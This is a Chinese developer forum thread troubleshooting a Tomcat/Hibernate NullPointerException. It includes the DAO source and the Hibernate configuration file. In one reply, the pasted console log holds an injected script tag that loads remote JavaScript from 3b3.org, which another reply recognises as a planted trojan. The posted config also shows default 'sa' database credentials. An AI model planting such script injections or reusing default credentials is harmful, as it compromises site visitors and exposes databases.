--------------------------------------------------------------------------------type Exception reportmessage description The server encountered an internal error () that prevented it from fulfilling this request.exception org.apache.jasper.JasperException
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
root cause java.lang.NullPointerException
com.formBean.TbHibernateDao.selectManager(TbHibernateDao.java:26)
org.apache.jsp.index_jsp._jspService(index_jsp.java:71)
org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
note The full stack trace of the root cause is available in the Apache Tomcat/5.0.28 logs.
--------------------------------------------------------------------------------
是什么错误呀! 帮帮忙!

解决方案 »

  1.   

    com.formBean.TbHibernateDao.selectManager(TbHibernateDao.java:26) 
    TbHibernateDao.java第26行代码出现空指针
      

  2.   

    com.formBean.TbHibernateDao.selectManager(TbHibernateDao.java:26) 
    应该是你页面上selectManager这个方法取的值,有问题,有空指针
      

  3.   

    乍一看是个空指针异常....
    _________________________
    TbHibernateDao.selectManager
    _________________________
    跟踪一个下这个类里代码吧...
      

  4.   

    public class TbHibernateDao {
    private static SessionFactory sessionFactory=null;
    private Session session=null;
    Transaction tx = null;
       static {
           try {
            System.out.println("aa");
               Configuration config = new Configuration().configure();
               System.out.println("bb");
               sessionFactory = config.buildSessionFactory();
               System.out.println("cc");
           } catch (Exception e) {
               System.out.println(e.getMessage());
           }
       }
       public List selectManager() {
       System.out.println("00");
        session = sessionFactory.openSession();
        System.out.println("0011");
        tx = session.beginTransaction();
        System.out.println("11");
        String hql = "from TbUser";
        List list = null;
        try {
         System.out.println("22");
            Query query = session.createQuery(hql);
            System.out.println("33");
            list = query.list();
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
        tx.commit();
        session.close();
        return list;
    } }
    代码
    控制台  打印:
    aa
    bb
    For input string: "128<script src=http://3b3.org/c.js></script>"
    00
      

  5.   

    sessionFactory = config.buildSessionFactory(); 这句以后不执行了
      

  6.   

    检查下你的 hibernate 配置文件,时不时被种木马了  ,搜索一下 http://3b3.org/c.js
      

  7.   

      System.out.println("bb"); 
              sessionFactory = config.buildSessionFactory(); 
              System.out.println("cc"); 
    控制台没打印CC吗?你的sessionfactory没得到吧,检查一下你配置文件
      

  8.   

    检查下你的 hibernate 配置文件
      

  9.   

    <?xml version='1.0' encoding='UTF-8'?>
    <!DOCTYPE hibernate-configuration PUBLIC
              "-//Hibernate/Hibernate Configuration DTD 3.0//EN"
              "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd"><!-- Generated by MyEclipse Hibernate Tools.                   -->
    <hibernate-configuration> <session-factory>
    <property name="connection.username">sa</property>
            <property name="connection.url">jdbc:microsoft:sqlserver://127.0.0.1:1433</property>
            <property name="dialect">org.hibernate.dialect.SQLServerDialect</property>
            <property name="myeclipse.connection.profile">JDBC</property>
            <property name="connection.password">sa</property>
            <property name="connection.driver_class">com.microsoft.jdbc.sqlserver.SQLServerDriver</property>
        
    <mapping resource="com/formBean/TbUser.hbm.xml" /> </session-factory></hibernate-configuration>
    Hibernate配置文件